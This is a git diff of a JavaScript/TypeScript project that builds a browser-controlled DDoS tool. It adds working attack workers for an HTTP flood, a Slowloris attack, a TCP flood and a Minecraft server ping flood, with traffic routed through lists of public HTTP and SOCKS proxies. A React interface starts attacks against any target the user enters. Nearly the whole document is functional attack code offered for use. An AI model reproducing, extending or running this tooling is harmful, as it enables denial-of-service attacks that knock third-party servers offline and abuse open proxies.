zx#rlt+7i2n=4MqryqOuKk7b!&-Kx16R5mB0b)4Sb+-&$*7D=O8nj!k57G@3oeRI=S zkuUg7o)%r$I;qt(Nmon1Em<#%A+KEG_4H=U%9&Eqj0{RT*39(z@Nnz6=xOn7bd_{! dzPAP0Zp$#s=?$@Fwaxu9%q6{bl{90?{{z)=eSZJ| diff --git a/data/proxies.txt b/data/proxies.txt index a3f3e70..94e52ca 100644 --- a/data/proxies.txt +++ b/data/proxies.txt @@ -1,8 +1,3 @@ -http://219.129.167.82:2222 -http://165.232.129.150:80 -http://103.86.109.38:80 -http://8.219.97.248:80 -http://103.49.202.252:80 socks4://199.58.184.97:4145 socks4://192.111.139.163:19404 socks4://199.187.210.54:4145 diff --git a/package.json b/package.json index 90ec556..448129d 100644 --- a/package.json +++ b/package.json @@ -5,7 +5,7 @@ "type": "module", "scripts": { "dev": "concurrently --ks SIGKILL -n \"Client,Server\" \"npm run dev:client\" \"npm run dev:server\"", - "dev:server": "node server/index.js", + "dev:server": "tsx watch server/", "dev:client": "vite", "build": "vite build", "lint": "eslint .", @@ -19,10 +19,13 @@ "react": "^18.3.1", "react-dom": "^18.3.1", "socket.io": "^4.7.4", - "socket.io-client": "^4.7.4" + "socket.io-client": "^4.7.4", + "socks-proxy-agent": "^8.0.5", + "tsx": "^4.19.2" }, "devDependencies": { "@eslint/js": "^9.9.1", + "@types/express": "^5.0.0", "@types/react": "^18.3.5", "@types/react-dom": "^18.3.0", "@vitejs/plugin-react": "^4.3.1", diff --git a/server/utils/fileLoader.js b/server/fileLoader.ts similarity index 77% rename from server/utils/fileLoader.js rename to server/fileLoader.ts index 71dcd16..1a039cd 100644 --- a/server/utils/fileLoader.js +++ b/server/fileLoader.ts @@ -1,12 +1,14 @@ import fs from "fs"; import { join } from "path"; +import { Proxy } from "./lib"; + const currentPath = () => { const path = process.cwd(); return path === "/" ? "." : path; }; -const loadFileLines = (filePath) => { +const loadFileLines = (filePath: string) => { try { return fs .readFileSync(filePath, "utf8") @@ -24,11 +26,11 @@ export function loadUserAgents() { return loadFileLines(join(currentPath(), "data/uas.txt")); } -export function loadProxies() { +export function loadProxies(): Proxy[] { const lines = loadFileLines(join(currentPath(), "data/proxies.txt")); return lines.map((line) => { const [protocol, addr] = line.split("://"); const [host, port] = addr.split(":"); - return { protocol, host, port }; + return { protocol, host, port: parseInt(port) }; }); } diff --git a/server/index.js b/server/index.ts similarity index 74% rename from server/index.js rename to server/index.ts index ff0d6d6..5c87996 100644 --- a/server/index.js +++ b/server/index.ts @@ -5,12 +5,16 @@ import { Server } from "socket.io"; import { fileURLToPath } from "url"; import { Worker } from "worker_threads"; -import { loadProxies, loadUserAgents } from "./utils/fileLoader.js"; -import { filterProxies } from "./utils/proxyUtils.js"; +import { loadProxies, loadUserAgents } from "./fileLoader"; +import { AttackMethod } from "./lib"; +import { filterProxies } from "./proxyUtils"; // Define the workers based on attack type -const attackWorkers = { - http: "./workers/httpAttack.js", +const attackWorkers: { [key in AttackMethod]: string } = { + http_flood: "./workers/httpFloodAttack.js", + http_slowloris: "./workers/httpSlowlorisAttack.js", + tcp_flood: "./workers/tcpFloodAttack.js", + minecraft_ping: "./workers/minecraftPingAttack.js", }; const __filename = fileURLToPath(import.meta.url); @@ -25,8 +29,8 @@ const io = new Server(httpServer, { }, }); -const proxies = loadProxies(join(__dirname, "../data/proxies.txt")); -const userAgents = loadUserAgents(join(__dirname, "../data/uas.txt")); +const proxies = loadProxies(); +const userAgents = loadUserAgents(); console.log("Proxies loaded:", proxies.length); console.log("User agents loaded:", userAgents.length); @@ -42,7 +46,7 @@ io.on("connection", (socket) => { }); socket.on("startAttack", (params) => { - const { target, duration, packetDelay, attackMethod } = params; + const { target, duration, packetDelay, attackMethod, packetSize } = params; const filteredProxies = filterProxies(proxies, attackMethod); const attackWorkerFile = attackWorkers[attackMethod]; @@ -65,32 +69,37 @@ io.on("connection", (socket) => { userAgents, duration, packetDelay, + packetSize, }, }); worker.on("message", (message) => socket.emit("stats", message)); + worker.on("error", (error) => { console.error(`Worker error: ${error.message}`); socket.emit("stats", { log: `❌ Worker error: ${error.message}` }); }); + worker.on("exit", (code) => { console.log(`Worker exited with code ${code}`); socket.emit("attackEnd"); }); - socket.worker = worker; + socket["worker"] = worker; }); socket.on("stopAttack", () => { - if (socket.worker) { - socket.worker.terminate(); + const worker = socket["worker"]; + if (worker) { + worker.terminate(); socket.emit("attackEnd"); } }); socket.on("disconnect", () => { - if (socket.worker) { - socket.worker.terminate(); + const worker = socket["worker"]; + if (worker) { + worker.terminate(); } console.log("Client disconnected"); }); diff --git a/server/lib.ts b/server/lib.ts new file mode 100644 index 0000000..0b451ee --- /dev/null +++ b/server/lib.ts @@ -0,0 +1,13 @@ +export type ProxyProtocol = "http" | "https" | "socks4" | "socks5" | string; + +export interface Proxy { + protocol: ProxyProtocol; + host: string; + port: number; +} + +export type AttackMethod = + | "http_flood" + | "http_slowloris" + | "tcp_flood" + | "minecraft_ping"; diff --git a/server/proxyUtils.ts b/server/proxyUtils.ts new file mode 100644 index 0000000..49bf1cf --- /dev/null +++ b/server/proxyUtils.ts @@ -0,0 +1,53 @@ +import { AttackMethod, Proxy, ProxyProtocol } from "./lib"; + +const DEFAULT_HTTP_PORT = 8080; +const DEFAULT_PROTOCOL: ProxyProtocol = "http"; + +const COMMON_PORTS: { [port: number]: ProxyProtocol } = { + 80: "http", + 443: "https", + 1080: "socks5", + 1081: "socks4", + 8080: "http", + 8443: "https", +}; + +const METHODS: { [key in AttackMethod]: ProxyProtocol[] } = { + http_flood: ["http", "https", "socks4", "socks5"], + http_slowloris: ["socks4", "socks5"], + tcp_flood: ["socks4", "socks5"], + minecraft_ping: ["socks4", "socks5"], +}; + +/** + * Attempts to infer the protocol based on the port. + */ +function inferProtocol(port: number | undefined): ProxyProtocol { + if (port !== undefined && COMMON_PORTS[port]) { + return COMMON_PORTS[port]; + } + return DEFAULT_PROTOCOL; +} + +/** + * Ensures a proxy object is safe and normalized by adding default values if missing. + */ +function normalizeProxy(proxy: Proxy): Proxy { + const normalizedPort = proxy.port || DEFAULT_HTTP_PORT; + const normalizedProtocol = proxy.protocol || inferProtocol(normalizedPort); + + return { + ...proxy, + port: normalizedPort, + protocol: normalizedProtocol, + }; +} + +/** + * Filters proxies based on the attack method and ensures safe parsing of proxies. + */ +export function filterProxies(proxies: Proxy[], method: AttackMethod): Proxy[] { + return proxies + .map(normalizeProxy) + .filter((proxy) => METHODS[method].includes(proxy.protocol)); +} diff --git a/server/utils/mcUtils.js b/server/utils/mcUtils.js new file mode 100644 index 0000000..2ac3fb8 --- /dev/null +++ b/server/utils/mcUtils.js @@ -0,0 +1,177 @@ +// Adapted from: https://github.com/Cryptkeeper/mcping-js/ +import net from "net"; +import { SocksProxyAgent } from "socks-proxy-agent"; + +class MinecraftProtocol { + static writeVarInt(val) { + // "VarInts are never longer than 5 bytes" + // https://wiki.vg/Data_types#VarInt_and_VarLong + const buf = Buffer.alloc(5); + let written = 0; + + while (true) { + if ((val & 0xffffff80) === 0) { + buf.writeUInt8(val, written++); + break; + } else { + buf.writeUInt8((val & 0x7f) | 0x80, written++); + val >>>= 7; + } + } + + return buf.slice(0, written); + } + + static writeString(val) { + return Buffer.from(val, "UTF-8"); + } + + static writeUShort(val) { + return Buffer.from([val >> 8, val & 0xff]); + } + + static concat(chunks) { + let length = 0; + + for (const chunk of chunks) { + length += chunk.length; + } + + const buf = [MinecraftProtocol.writeVarInt(length), ...chunks]; + + return Buffer.concat(buf); + } +} + +class MinecraftBufferReader { + constructor(buffer) { + this._buffer = buffer; + this._offset = 0; + } + + readVarInt() { + let val = 0; + let count = 0; + + while (true) { + const b = this._buffer.readUInt8(this._offset++); + + val |= (b & 0x7f) << (count++ * 7); + + if ((b & 0x80) != 128) { + break; + } + } + + return val; + } + + readString() { + const length = this.readVarInt(); + const val = this._buffer.toString( + "UTF-8", + this._offset, + this._offset + length + ); + + // Advance the reader index forward by the string length + this._offset += length; + + return val; + } + + offset() { + return this._offset; + } +} + +export function pingMinecraftServer(host, port, proxy) { + return new Promise((resolve, reject) => { + const { protocol, host: proxyHost, port: proxyPort } = proxy; + + const agent = new SocksProxyAgent( + `${protocol}://${proxyHost}:${proxyPort}` + ); + + const socket = net.createConnection({ + host: host, + port: port, + agent: agent, + }); + + const timeoutTask = setTimeout(() => { + socket.emit("error", new Error("Socket timeout")); + }, 5000); + + const closeSocket = () => { + socket.destroy(); + clearTimeout(timeoutTask); + }; + + let didFireError = false; + + const handleErr = (err) => { + closeSocket(); + if (!didFireError) { + didFireError = true; + reject(err); + } + }; + + socket.setNoDelay(true); + + socket.on("connect", () => { + const handshake = MinecraftProtocol.concat([ + MinecraftProtocol.writeVarInt(0), + MinecraftProtocol.writeVarInt(340), + MinecraftProtocol.writeVarInt(host.length), + MinecraftProtocol.writeString(host), + MinecraftProtocol.writeUShort(port), + MinecraftProtocol.writeVarInt(1), + ]); + + socket.write(handshake); + + const request = MinecraftProtocol.concat([ + MinecraftProtocol.writeVarInt(0), + ]); + + socket.write(request); + }); + + let incomingBuffer = Buffer.alloc(0); + + socket.on("data", (data) => { + incomingBuffer = Buffer.concat([incomingBuffer, data]); + + if (incomingBuffer.length < 5) { + return; + } + + const bufferReader = new MinecraftBufferReader(incomingBuffer); + const length = bufferReader.readVarInt(); + + if (incomingBuffer.length - bufferReader.offset() < length) { + return; + } + + const id = bufferReader.readVarInt(); + + if (id === 0) { + const reply = bufferReader.readString(); + + try { + const message = JSON.parse(reply); + resolve(message); + closeSocket(); + } catch (err) { + handleErr(err); + } + } else { + handleErr(new Error("Received unexpected packet")); + } + }); + + socket.on("error", handleErr); + }); +} diff --git a/server/utils/proxyUtils.js b/server/utils/proxyUtils.js deleted file mode 100644 index 4ea61c0..0000000 --- a/server/utils/proxyUtils.js +++ /dev/null @@ -1,9 +0,0 @@ -const METHODS = { - http: ["http", "https"], - tcp: ["socks4", "socks5"], - udp: ["socks4", "socks5"], -}; - -export function filterProxies(proxies, method) { - return proxies.filter((proxy) => METHODS[method].includes(proxy.protocol)); -} diff --git a/server/utils/randomUtils.js b/server/utils/randomUtils.js new file mode 100644 index 0000000..211243c --- /dev/null +++ b/server/utils/randomUtils.js @@ -0,0 +1,18 @@ +export function randomBoolean() { + return Math.random() < 0.5; +} + +export function randomString(length) { + let result = ""; + const characters = + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + const charactersLength = characters.length; + for (let i = 0; i < length; i++) { + result += characters.charAt(Math.floor(Math.random() * charactersLength)); + } + return result; +} + +export function randomInteger(min, max) { + return Math.floor(Math.random() * (max - min + 1)) + min; +} diff --git a/server/workers/httpAttack.js b/server/workers/httpAttack.js deleted file mode 100644 index b2a8548..0000000 --- a/server/workers/httpAttack.js +++ /dev/null @@ -1,49 +0,0 @@ -import axios from "axios"; -import { parentPort, workerData } from "worker_threads"; - -const startAttack = () => { - const { target, proxies, userAgents, duration, packetDelay } = workerData; - - let fixedTarget = target.startsWith("http") ? target : `http://${target}`; - let totalPackets = 0; - const startTime = Date.now(); - - const sendRequest = async (proxy, userAgent) => { - try { - await axios.get(fixedTarget, { - proxy: { host: proxy.host, port: proxy.port }, - headers: { "User-Agent": userAgent }, - timeout: 2000, - }); - totalPackets++; - parentPort.postMessage({ - log: `✅ Request successful from ${proxy.host}:${proxy.port} to ${fixedTarget}`, - totalPackets, - }); - } catch (error) { - parentPort.postMessage({ - log: `❌ Request failed from ${proxy.host}:${proxy.port} to ${fixedTarget}: ${error.message}`, - totalPackets, - }); - } - }; - - const interval = setInterval(() => { - const elapsedTime = (Date.now() - startTime) / 1000; - - if (elapsedTime >= duration) { - clearInterval(interval); - parentPort.postMessage({ log: "Attack finished", totalPackets }); - process.exit(0); - } - - const proxy = proxies[Math.floor(Math.random() * proxies.length)]; - const userAgent = userAgents[Math.floor(Math.random() * userAgents.length)]; - - sendRequest(proxy, userAgent); - }, packetDelay); -}; - -if (workerData) { - startAttack(); -} diff --git a/server/workers/httpFloodAttack.js b/server/workers/httpFloodAttack.js new file mode 100644 index 0000000..f6cae4a --- /dev/null +++ b/server/workers/httpFloodAttack.js @@ -0,0 +1,76 @@ +import axios from "axios"; +import { SocksProxyAgent } from "socks-proxy-agent"; +import { parentPort, workerData } from "worker_threads"; + +import { randomBoolean, randomString } from "../utils/randomUtils.js"; + +const startAttack = () => { + const { target, proxies, userAgents, duration, packetDelay, packetSize } = + workerData; + + const fixedTarget = target.startsWith("http") ? target : `https://${target}`; + let totalPackets = 0; + const startTime = Date.now(); + + const sendRequest = async (proxy, userAgent) => { + try { + const config = { + headers: { "User-Agent": userAgent }, + timeout: 2000, + validateStatus: (status) => { + return status < 500; + }, + }; + + if (proxy.protocol === "http") { + config.proxy = { + host: proxy.host, + port: proxy.port, + }; + } else if (proxy.protocol === "socks4" || proxy.protocol === "socks5") { + config.httpAgent = new SocksProxyAgent( + `${proxy.protocol}://${proxy.host}:${proxy.port}` + ); + } + + const isGet = packetSize > 64 ? false : randomBoolean(); + const payload = randomString(packetSize); + + if (isGet) { + await axios.get(`${fixedTarget}/${payload}`, config); + } else { + await axios.post(fixedTarget, payload, config); + } + + totalPackets++; + parentPort.postMessage({ + log: `✅ Request successful from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}`, + totalPackets, + }); + } catch (error) { + parentPort.postMessage({ + log: `❌ Request failed from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}: ${error.message}`, + totalPackets, + }); + } + }; + + const interval = setInterval(() => { + const elapsedTime = (Date.now() - startTime) / 1000; + + if (elapsedTime >= duration) { + clearInterval(interval); + parentPort.postMessage({ log: "Attack finished", totalPackets }); + process.exit(0); + } + + const proxy = proxies[Math.floor(Math.random() * proxies.length)]; + const userAgent = userAgents[Math.floor(Math.random() * userAgents.length)]; + + sendRequest(proxy, userAgent); + }, packetDelay); +}; + +if (workerData) { + startAttack(); +} diff --git a/server/workers/httpSlowlorisAttack.js b/server/workers/httpSlowlorisAttack.js new file mode 100644 index 0000000..66da29e --- /dev/null +++ b/server/workers/httpSlowlorisAttack.js @@ -0,0 +1,85 @@ +import http from "http"; +import { SocksProxyAgent } from "socks-proxy-agent"; +import { parentPort, workerData } from "worker_threads"; + +import { randomString } from "../utils/randomUtils.js"; + +const startAttack = () => { + const { target, proxies, userAgents, duration, packetDelay, packetSize } = + workerData; + + const fixedTarget = target.startsWith("http") ? target : `http://${target}`; + const protocolPort = target.startsWith("https") ? 443 : 80; + const targetPort = fixedTarget.includes(":") + ? parseInt(fixedTarget.split(":")[2]) + : protocolPort; + const targetHost = fixedTarget.replace(/^https?:\/\//, ""); + + let totalPackets = 0; + const startTime = Date.now(); + + const sendRequest = async (proxy, userAgent) => { + const options = { + hostname: targetHost, + port: targetPort, + path: "/", + method: "POST", + headers: { + "User-Agent": userAgent, + Connection: "keep-alive", + "Transfer-Encoding": "chunked", + Host: targetHost, + }, + agent: new SocksProxyAgent( + `${proxy.protocol}://${proxy.host}:${proxy.port}` + ), + }; + + const req = http.request(options, (res) => { + res.on("data", () => {}); + res.on("end", () => {}); + }); + + req.on("error", (err) => { + parentPort.postMessage({ + log: `❌ Request failed from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}: ${err.message}`, + totalPackets, + }); + }); + + req.on("close", () => { + parentPort.postMessage({ + log: `⚠ Connection closed from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}`, + totalPackets, + }); + }); + + const payload = randomString(packetSize); + req.write(payload); + + totalPackets++; + parentPort.postMessage({ + log: `✅ Request sent from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}`, + totalPackets, + }); + }; + + const interval = setInterval(() => { + const elapsedTime = (Date.now() - startTime) / 1000; + + if (elapsedTime >= duration) { + clearInterval(interval); + parentPort.postMessage({ log: "Attack finished", totalPackets }); + process.exit(0); + } + + const proxy = proxies[Math.floor(Math.random() * proxies.length)]; + const userAgent = userAgents[Math.floor(Math.random() * userAgents.length)]; + + sendRequest(proxy, userAgent); + }, packetDelay); +}; + +if (workerData) { + startAttack(); +} diff --git a/server/workers/minecraftPingAttack.js b/server/workers/minecraftPingAttack.js new file mode 100644 index 0000000..bd62b28 --- /dev/null +++ b/server/workers/minecraftPingAttack.js @@ -0,0 +1,49 @@ +import { parentPort, workerData } from "worker_threads"; + +import { pingMinecraftServer } from "../utils/mcUtils.js"; + +const startAttack = () => { + const { target, proxies, duration, packetDelay } = workerData; + + const [targetHost, targetPort] = target.split(":"); + const parsedPort = parseInt(targetPort || "25565", 10); + const fixedTarget = `tcp://${targetHost}:${parsedPort}`; + + let totalPackets = 0; + const startTime = Date.now(); + + const interval = setInterval(() => { + const elapsedTime = (Date.now() - startTime) / 1000; + + if (elapsedTime >= duration) { + clearInterval(interval); + parentPort.postMessage({ log: "Attack finished", totalPackets }); + process.exit(0); + } + + const proxy = proxies[Math.floor(Math.random() * proxies.length)]; + pingMinecraftServer(targetHost, parsedPort, proxy) + .then((status) => { + totalPackets++; + + const players = status?.players?.online || 0; + const max = status?.players?.max || 0; + const version = status?.version?.name || ""; + const banner = `${version}: ${players}/${max}`; + parentPort.postMessage({ + log: `✅ MC Ping+MOTD Request from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget} (${banner})`, + totalPackets, + }); + }) + .catch((e) => { + parentPort.postMessage({ + log: `❌ MC Ping+MOTD Request failed from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}: ${e.message}`, + totalPackets, + }); + }); + }, packetDelay); +}; + +if (workerData) { + startAttack(); +} diff --git a/server/workers/tcpFloodAttack.js b/server/workers/tcpFloodAttack.js new file mode 100644 index 0000000..8aca913 --- /dev/null +++ b/server/workers/tcpFloodAttack.js @@ -0,0 +1,74 @@ +import net from "net"; +import { SocksProxyAgent } from "socks-proxy-agent"; +import { parentPort, workerData } from "worker_threads"; + +import { randomString } from "../utils/randomUtils.js"; + +const startAttack = () => { + const { target, proxies, duration, packetDelay, packetSize } = workerData; + + const [targetHost, targetPort] = target.split(":"); + const port = parseInt(targetPort, 10); + const fixedTarget = target.startsWith("http") ? target : `tcp://${target}`; + + let totalPackets = 0; + const startTime = Date.now(); + + const sendPacket = async (proxy) => { + const socket = new net.Socket(); + let open = false; + socket.setTimeout(2000); + + const proxyAgent = new SocksProxyAgent( + `${proxy.protocol}://${proxy.host}:${proxy.port}` + ); + + setInterval(() => { + if (socket.writable && open) { + socket.write(randomString(packetSize)); + } + }, [1000]); + + socket.connect({ host: targetHost, port: port, agent: proxyAgent }, () => { + totalPackets++; + open = true; + parentPort.postMessage({ + log: `✅ Packet sent from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}`, + totalPackets, + }); + }); + + socket.on("close", () => { + open = false; + }); + + socket.on("timeout", () => { + socket.destroy(); + open = false; + }); + + socket.on("error", (err) => { + parentPort.postMessage({ + log: `❌ Packet failed from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}: ${err.message}`, + totalPackets, + }); + }); + }; + + const interval = setInterval(() => { + const elapsedTime = (Date.now() - startTime) / 1000; + + if (elapsedTime >= duration) { + clearInterval(interval); + parentPort.postMessage({ log: "Attack finished", totalPackets }); + process.exit(0); + } + + const proxy = proxies[Math.floor(Math.random() * proxies.length)]; + sendPacket(proxy); + }, packetDelay); +}; + +if (workerData) { + startAttack(); +} diff --git a/src/App.tsx b/src/App.tsx index ebc5e38..f1186e8 100644 --- a/src/App.tsx +++ b/src/App.tsx @@ -10,7 +10,7 @@ function App() { const [logs, setLogs] = useState([]); const [progress, setProgress] = useState(0); const [target, setTarget] = useState(""); - const [attackMethod, setAttackMethod] = useState("http"); + const [attackMethod, setAttackMethod] = useState("http_flood"); const [packetSize, setPacketSize] = useState(64); const [duration, setDuration] = useState(60); const [packetDelay, setPacketDelay] = useState(100); @@ -94,7 +94,7 @@ function App() { setLogs((prev) => [message, ...prev].slice(0, 12)); }; - const startAttack = () => { + const startAttack = (isQuick?: boolean) => { if (!target.trim()) { alert("Please enter a target!"); return; @@ -110,21 +110,24 @@ function App() { // Play audio if (audioRef.current) { - audioRef.current.currentTime = 0; + audioRef.current.currentTime = isQuick ? 9.5 : 0; audioRef.current.play(); } // Start attack after audio intro - const timeout = setTimeout(() => { - setActuallyAttacking(true); - socket.emit("startAttack", { - target, - packetSize, - duration, - packetDelay, - attackMethod, - }); - }, 10250); + const timeout = setTimeout( + () => { + setActuallyAttacking(true); + socket.emit("startAttack", { + target, + packetSize, + duration, + packetDelay, + attackMethod, + }); + }, + isQuick ? 700 : 10250 + ); setCurrentTask(timeout); }; @@ -175,10 +178,11 @@ function App() { className="px-4 py-2 rounded-lg border border-pink-200 focus:border-pink-500 focus:ring-2 focus:ring-pink-200 outline-none" disabled={isAttacking} /> - + > + + {isAttacking ? "Stop Beam" : "Start Miku Beam"} + + +
@@ -203,9 +224,10 @@ function App() { className="w-full px-4 py-2 rounded-lg border border-pink-200 focus:border-pink-500 focus:ring-2 focus:ring-pink-200 outline-none" disabled={isAttacking} > - - - + + + +